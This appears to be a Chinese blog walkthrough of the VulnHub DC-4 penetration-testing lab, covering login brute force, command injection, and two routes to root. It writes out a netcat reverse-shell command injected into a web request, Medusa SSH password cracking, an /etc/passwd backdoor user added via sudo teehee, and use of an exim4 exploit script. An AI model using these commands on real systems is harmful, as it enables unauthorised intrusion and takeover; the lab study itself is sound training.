DC-4 靶机详解(两个解法版本)

DC4-靶机详解


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


靶机地址

  • https://www.vulnhub.com/entry/dc-4,313/

Description

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

Technical Information

DC-4 is a VirtualBox VM built on Debian 32 bit, so there should be no issues running it on most PCs.

If there are any issues running this VM in VMware, have a read through of this.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.

知识点

  • web 登录爆破 (前期)
  • web 命令执行 (中期)
  • 反弹 shell (中期)
  • SSH 爆破 (后期)
  • linux 提权 (后期)

网络模式:NAT
Kali :192.168.197.128
渗透测试机器:192.168.197.148


前期-信息收集

开始进行ping周围机器 进行IP探活

nmap -sP 192.168.197.0/24

在这里插入图片描述

排除法,去掉自己、宿主机、网关, `192.168.197.148就是目标了

扫描开放端口 看一眼开了那些服务和端口

nmap -A -v  192.168.197.148

这边可以看到这里就开放了两个端口(22、80) 直觉告诉我就是一个web 一个ssh

在这里插入图片描述

单纯一个登录页面,没有任何其他逻辑功能,比如密码找回、注册

那么接下来有几种手段,直接爆破账号密码,SQL注入,和爆破目录敏感文件等。因为这里没有做太多的限制所以我一开始想的就是用bp爆破先试一下 名字这里就是admin、那我们就使用sniper模式只爆破它的密码

首先先输入一个admin账户名,再随便输入一个密码 然后 登录抓包

在这里插入图片描述

然后这边通过对Length对降序排列 发现一个718 看上去异常.这里很容易就爆破出来了 就是一个弱口令 密码是happy

在这里插入图片描述


中期-漏洞利用

这边可以看到可以直接运行相关的命令

在这里插入图片描述

然后我们这边思路就比较清晰了,直接通过bp拦截流量、篡改数据 再发送到服务端

这里可以在 burp 中拦截请求,将 把ls±l 改成nc -e /bin/bash 192.168.197.148 5985(Kali 机IP),这里注意这个位置的空格要使用+占位符来表示

在这里插入图片描述

这里 kali 做好监听

nc -lvp 5985

此时 kali 以收到弹回的 shell,给他改成方便交互的

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

**

**

后期-提权

Version 1

接下来要想办法提权,查看能够登录的帐号 (这里查看passwd主要是为了查看本机有几个用户)

cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash

查看目录

ls /home/jim
ls /home/sam
ls /home/charles
ls /tmp

在这里插入图片描述
/home/jim/ 下发现了 mbox 文件,但是这个文件除了jim其他人都没有权限去读,那我们只能想办法去爆破出jim的账户出来

/home/jim/backups 下发现了 old-passwords.bak 文件, 很显然这是一个密码本 把这个密码本拿下来 搞到kali上来爆破

medusa -M ssh -h 192.168.197.148 -u jim -P pass.txt

这个命令使用了 Medusa 工具来进行 SSH 密码破解攻击,具体选项含义如下:

  • -M ssh:指定要使用 SSH 协议进行破解。
  • -h 192.168.197.148:指定目标主机的 IP 地址。
  • -u jim:指定要破解的用户名为 “jim”。
  • -P pass.txt:指定密码字典文件为 “pass.txt”,其中包含了要尝试的密码列表。

综合起来,这个命令的目的是使用 Medusa 工具对目标主机 192.168.197.148 上的 SSH 服务进行密码破解攻击,用户名为 “jim”,密码列表来源于文件 “pass.txt”。
在这里插入图片描述
果然!!! 爆破出来了 jibril04
好现在通过ssh 进入jim的账户

登录,并查看 mbox 内容

在这里插入图片描述

看上去像是一份邮件,去 /var/mail 看看是否有信息
在这里插入图片描述
在这里插入图片描述

发现一份 charles 给 jim 的信,他要去度假,老板让他把密码给 jim,ok 收获 charles 密码 ^xHhA&hvim0y

登录 charles 用户并尝试提权

su charles
sudo -l

在这里插入图片描述

Charles 可以使用 sudo 权限运行 teehee。teehee 可以干嘛?可以将标准输入复制到我们选择的文件中。那么我可以直接写一个 root 权限的用户到 /etc/passwd 下,也可以直接在 sudoers 里给 charles 所有权限

  1. 在这里直接嚣张一点创建一个IAMROOT的root用户 再用这个用户登录进去 拿到flag

    echo "IAMROOT::0:0:::/bin/sh" | sudo teehee -a /etc/passwd
    su IAMROOT
    whoami
    

在这里插入图片描述

Verion 2

这边连接进去了还可以 有另一种方案,可以直接在靶机上查看

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
这个命令用于在文件系统中查找所有属主为 root、且设置了 SUID 权限的文件,并将结果输出到标准输出。

具体解释如下:

  • find: 命令用于在文件系统中搜索文件和目录。
  • /: 指定搜索的起始路径为根目录。
  • -user root: 指定要搜索的文件的属主为 root。
  • -perm -4000: 指定要搜索的文件的权限设置中包含 SUID 位(即以数字形式表示的权限设置中包含 4,表示 SUID 权限)。
  • -print: 指定将搜索到的文件路径打印到标准输出。
  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,即丢弃错误信息,以避免显示权限错误或无法访问的目录导致的错误信息干扰。

因此,这个命令的目的是在文件系统中查找属主为 root、并设置了 SUID 权限的文件,并将它们的路径输出到标准输出。

这里注意这个exim4,可以在这个上面动手脚提权

`/usr/sbin/exim4 -v`

这个命令 exim4 -v 是用于以交互式模式启动 Exim 4 邮件传输代理 (MTA) 并显示更多详细信息。

具体解释如下:

  • /usr/sbin/exim4:Exim 4 的可执行文件路径。
  • -v:表示启用详细的 verbose 模式,通常用于在执行过程中输出更多的调试和信息。

这里查看exim的漏洞 发现这里有个本地权限提升的一个shell脚本
在这里插入图片描述
这里把这个脚本拷过来,这里注意还需要转义一下成Unix格式

cp /usr/share/exploitdb/exploits/linux/local/46996.sh . 
dos2unix 46996.sh

这边老规矩把apache服务打开(先把payload移动到/var/www/html),把这个payload脚本传过去
在这里插入图片描述
这里注意 最好将payload移动到靶机tmp目录下,这样好操作

bash 46996.sh

后面的操作就无需多言了,转到root目录下 查看flag
在这里插入图片描述

  • 14
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值